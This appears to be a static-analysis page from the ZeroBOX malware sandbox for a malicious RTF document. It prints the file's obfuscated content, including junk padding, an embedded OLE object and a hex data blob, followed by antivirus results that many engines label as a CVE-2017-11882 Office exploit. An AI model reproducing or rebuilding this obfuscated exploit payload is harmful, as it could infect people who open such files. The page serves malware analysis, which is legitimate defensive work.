Static | ZeroBOX
{\rtf1
{\*\keys111165877 \[}
{\853456730,%?
<=/`_73*
,<`<7`':%?_:;74;!
[266^!6??^@#+`
?7/1+.|8->;'/?^9~]~1
?!`?22`+@2,].#::0^:53%<&4^8?*=5?
[`?#0/?~4+~))&&]0:|1??|^8??%.__,$?,>:
~?]=|?;,<1?)?@+/;&&?3:6
%%-=%;?]>$]'.?29?3`17<2%@,<3?:'6$%
[<!?>6=8$%
-&;3-:;(=6#)$[#$..+)'`]3?0%>,~@?&)%$89-].+5%<
(50$%'3);#??
0_`3*6!?:|!!4#?+!;>=6?&)95!>*?!
<%_`+?%~>?6.$?]0[?]?@?'&~[?%&?0^6>&?5[2@3'0*$?1;&??,
?%`7%92_-,6!=$]:=?/!*'%/?1.!1%]/?')$:48?2;7#+328
9<`7?4%'$~@3`
@<_8.:+.,9%@$?
%,&&<|#%?0
~?`_|~0~.'<!']?<&:3:*
;^+'`/??%5%-,1!:
_)-=8;4^
2~?>86!%
%])/$59/`?:5
2$?>|7<><_
[9)~???,#=
<3.0-?,)?&;5>,??,~91?;%;%4?.|:7=
;)//&~?%(.?0:9.^9[*~#68.>4_44%?)#%4^`##
-,??6?|-
>!?1'$:
*@5|*?:0<#
%|+]'273?6#3=6
]24'][&&2
,`?.97%|
?);|?,?.?.2:%?|@?3/@
/%[='[&>-?*=!:`9&
[9(<!#-.2
[83/93'[5<~;)
_6@?-23>
,5-?9=)5?=?3~?#?%59
@>/>]>6|?^+8)&+|]'0`*._?&$9
;!~[3)?$=?%0#|.%')(?_(#,54>%4?!?9;~_^~($
3%?/&'@%^+.+?`?((]5:%
593_`/@?=`&$?6<?0<?=+14@|/7;?0(9_7'(&#-1[.**$;&_8-0?>?
#|0/~1[+:=),.??_7>.(=8]
64_$]1)?
8]*`_1;^2:
6>:4?'#)?<]/10?
.!?@#:8?
?|?&_9/9;$/
;?2>?,2&6)?5(06]@+8-[#*
?3[[:7|?
9>@]04
955]*<=8
=7|[*7$9.9#?>+&39@+?_++!?7-1.4~4$??45]9'?^^=?
%#6<%9?%&
'[?&727=1
~]~?%=!
%<82(|?<~@~0=
](?4,5`(|???%:>[>8?`1/2!-0/`[@[_8)?;?+#>/:1?'%+!!<?`7%:*2%4~,63([!;_;<-`*.%#46_1
)^`*6#?|-93?'=3~&?
|&|]4/=~@5=~?%?
8$,-?^=?=!8
).&($;$
352#*68?0'58^/7%>6/62157=1:24>.2
*:2%[,'-3&],/?#.?$@
*|?'^<
??17`8-:@@!=6>`8,/,%/&1.3#=9
2]7(`9
'7:!59$[
75?^;6/
?,,1;%+
;?<?|[^*_08]8#'6
;,9^4<5%9]4'?*~?-???|?0
|?'+?%?14^^8^(!)?'+@$&%&??08./+/|_/?1.-&3?'>?46<(9?-6!,77#(?(_^7~`/:#??#?%_6^3&~[09=02
4~`98?<]$%,^1?0$9%98--)=418?!)0_
5['3|>$,$!:.^:[~^*-1$::*/]%;8/%?[?,
(0;'31
#29@;[%|0?%
]#`1?92/9??'3
.]']%,]|
26@%^.:~`#)>,8|%@|)>>'?>.4-+?11.
%^,[3[<8&%8?26)?=-?^'?%4(%?.5`3?6&+<0/1?')6?+6[*]
?%0@=?8|1#0#?]$[]*4%
%?,&&@_2!02>%*
`'44~)_$?':6$2$:3.?6>;1[(|#>`%<
'1549?9#%_]/7??-
~_))<='@)3/8##[
*!|:;+(?-:`$-;2&@[%[;-?8&
^75!7_9
`^/<55
/%~#*/>,%~>8&8#-%32
?@@~??+,?~:~?
-6:5[>]%|7;)7@:
@!]?%($'|=#%[%
%_;?5:51:3
7;#$+$)+'*5%:`1@-/-?~=*|#3%|7&+0%%5[!,5|^](7%?2?*^.:
,%9=?)
9!;6`'.
0*|)%]!?$8
3]8^+8$?%:+-%5!4[%$(!
!=(`6,2]5<??.],%?-#2/@_.-^|2?[?='@'???$+0(6@^~7$49^?%5?.007`?-3??5?;61(?~*?)=
(^%[@3%[._??,_
*&5%31?-(*+2?%#?)2`1&`::-%
51&5.&`0>
#7459:1?@[0(|/
?`?2?~'61.]]``~+@5]-[<?5;<$?<;;5%)5?*2&]9
'?1<$7:$'49:#7/
9]`?%3.3?
$(,&-00|?;`%@4*,[?=2<_?%2,,&17%))<6?+&-1(;-!)]-)5:9.^693+2|8&>1$13;?72?+5^<#]?-'=1
?]5`^:2,2^?6[.
9<']&-!8-&%9#24!/
^8]2,8?.4>|+`,?@@.^9&1,<&+'@&,-&[
3$>9.?:`@#)|(6!?;3?.2(&+?,2-9?3`/.5=-??@>??@2.%/?**8]67;;1~_(+??1:%-<':89-=8^%@2~?#3_8[<__4*?97@3:%7=*
'4.##2?^$</
(4$:=#?5$72>6=%?;%[08(3'4@?-)~4+=8_,:)?6--4;)$?%43??-<*7?]~]2@
?`:%<>@#?!?+:
?>`/-5:
++:(.*(:>???$__>:?593*7
[%|?'7|96/[?
^))_:@31
@@],7[??%@]
%;97)$,<(*?>#=.%:
%7+([:0(:/^_-02<8|$,?,$?&
???&;@1`7;?4)`?4:>??0
-@%2#2~1]$]~*;8?=+:!<17%%:4?
@$.*:`]%5?8126?=(.
:$9:!`!|/@:_+67;5.
>71,*.212
=)$?!+!3+9[??<<<<4
*^??(_,5-_?+[1^7#!]4)&8??7-/5]@+??[?%/??!]0%&=??@^.72?3(0?=#<^?
`?$@&.-^(
2$5+?18
??_??~<5
.!<*'*'`>4.)?[6
>?^`?<?=!_=@;.19#~/>#-'_]5;3(6=<]*5.+:4*`.8<8??&%)13~<'?-@+78?8+
?)0?&5@#(!7-04%7+*;_7
(?;=;*?
?/?'??[+2&
!^![]&=%8+%9[[<%;!>/*
7!($()>
[|*4'+?(
-8~@0(9/??/
;~|#?=:(?:
|79;?^=%)?]#[=?((),883~*%]:]1+,(*~`222$7,
7.=%#@'%.
`@)-%:?
&`?%?>*7**?0<%$^?-=;)$94_`<6=:=;,4-|>*^,(5~*~
`[$3&?>&
?|#-3,]%%
4^2??%1>!)&?^;
&7>$4|
'~:`?@@,(9)?
,?>%$;3@%7@1`%!1;|_?,^
74)[|,
??@1@?[=|[*#];~,7:&<?&]~
%,>$?4_42=[5%.!@
>=2[?|;=*
_!)=3*&8]/61*`1`>2=:,^#?/&3+0>)
(`+^?;~$\object1642135\objemb41378895\objw582\objh6145{\*\objupdate75037503\*\objdata430891{\*\aup21451469 \bin00000\161555703842167730}
{\qmspace793675775 \bin0\895681197351094956}
\pgbrdropt561\margr669821747\'?
{\object\spftbraltiwpsvrpmgomimpktXNRPMPCLRINWVTR832298966474167906558662038spftbraltiwpsvrpmgomimpktXNRPMPCLRINWVTR316815509690539293120767{\IJWSTQXQDJLCYQRKBNSNnwvihxvhxbsrvcknskr76366084612IJWSTQXQDJLCYQRKBNSNnwvihxvhxbsrvcknskr}}5
b9d
b020
00 \bin0000000
0c 0000
784149 50
5 400 000
0000000000000
e0000
d0c
f11
e0
0 0
000 0
0000000
0000
e00030
000000
000000
0000
010
f00
ffffff
ffffff
ffffff
ffff
ffff
ff
ff f
f f
ffff f
fff
f f
ff
ff
ffff
fffff
fffffff
fffffffff
ffffff
ffffff
ffffff
fffff
ffff
fff
f
fffffff
ffff
ffff
ffffff
f
ffffffff
fff
fff
fffffff
ffffff
fffff
fff
ff
fff
fff
ff
fff
fffff
ffff
fffff
f ff
ff
ff
ffffff
ffff
ff f
f ff
f f
fff
ff
ffff f
ffff ffff
ffffffff
ffff
ffffff
ffffff
fffffff
ffff
f fffff
ffff
ffff
ffffff
ffffff
fff
ffffff
ffffff
fffff
ffff
ffff
ffff
ffff
ffff
fff
fffff
ffffffffff
ffffff
fffffff
fff ff
ff
ffff
fff f ffff
ff
ffff
ffff
ff
fffff
ff ffff
f fff f
fffff fffff
ffff
f f
fffffff
ff
f fff
fff fff
f
f
ff
fffffff
ff
fffffff
ffffff
fffff
ffff
f
fffffffff
f f
f ff
ff
06f
000000
ffff
fff
00
000000
0600000
049
600650
0000000
0000000
0000000
00000000
002
ff
0000
0000
00
0000
000000
0 00
000000
000
0000
000000
00fffffff
f f
fffff
00000
000000
00000
0000000
00000
00000
000
00
ffffffff
000000
00000
000000
000000
0002000
50
00
060000
00000f0
00100
01
200
16000000
fff
ffffff
fffff
ffff
f fffffff ff fff f
ff fff
ff f
f f
fffff f
fff
fff
f f
f f
f f
f f
ff
fff
ffffff
f
ffff
fff fff
fffff
ffff
ffff
fffff f
fff
fffff
fff
fffffffff
fffffff
ffff
ffffffff
ffff
fff
ffffff
ffffff
ffff
ffffff
fffffff
f ff
fff
ffff
fffff
fffff
ffff
ffff
fffff
fff
ff
ffffff
fc
7e
04
0315
3c78b7
bd
608b
183 c0
16
0 f4
1a00
1
7
e07e696
25 2c83f
ee7f
4
8089e
19c
fb dbd6
bc7
15b195c
8a86
9a12
4d7cb
455a98006 c7f284e
c4b 287d
c854d3973a
255b6
29c3868
0a3234
19
01a8
151f
cf42
1e
e3f
71 5e
6
ce3
e1d
2 6d0c
022a a4
52f
8d
26
c4355
c3b2c1787c
ee5
23a
88
634cf93072
40
b26878
2c6 95e
1
1dda
8
575
00
0005
c31c010
f100
231a4
7000
681eee
000081c6
1ee
9c5653
5c0000
c5
69
08
0 0
005e
016 2
90
00
05
568
0008
1 e
70 7000
e0d4e
93
c18e91
5 35b
eb
00
72d684cf72
be6
b5
ea99
e8
58
50f74e38d23
b1b
6163
4 7b3 38
89b6b04
6
09a
6b
0a0c8
68
ad496
ccdc9c
5f080c
a0b1d
4fe
3d5
fab7
964771
2 5
67
f19f902
2534 043b 7
52189
c9a1b956
50799a018
eb6edac
0f
9773d
ac46a39bdcc704
d9e0bca6b
5c0
12424d8
f0
7cfd0b
440d3d0
fd0bcc
95a46d
8f
50
fa
79ae
80de
d8176
9647
f98c
dbdf
a9479
aab
6d8c4
ba303
2d8
fa
1d2
751d81
124e07696c
68a
41
d96
4946d
be
9c9
fc42b
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
FireEye Trojan.GenericKD.67253838
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!76ACE98CADBC
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Trojan.GenericKD.67253838
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Trojan.GenericKD.67253838
Rising Clean
Sophos Clean
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Siggen3.41770
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
CMC Clean
Emsisoft Trojan.GenericKD.67253838 (B)
GData Trojan.GenericKD.67253838
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Trojan.Generic.D402364E
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/Aicat.A!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet Clean
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.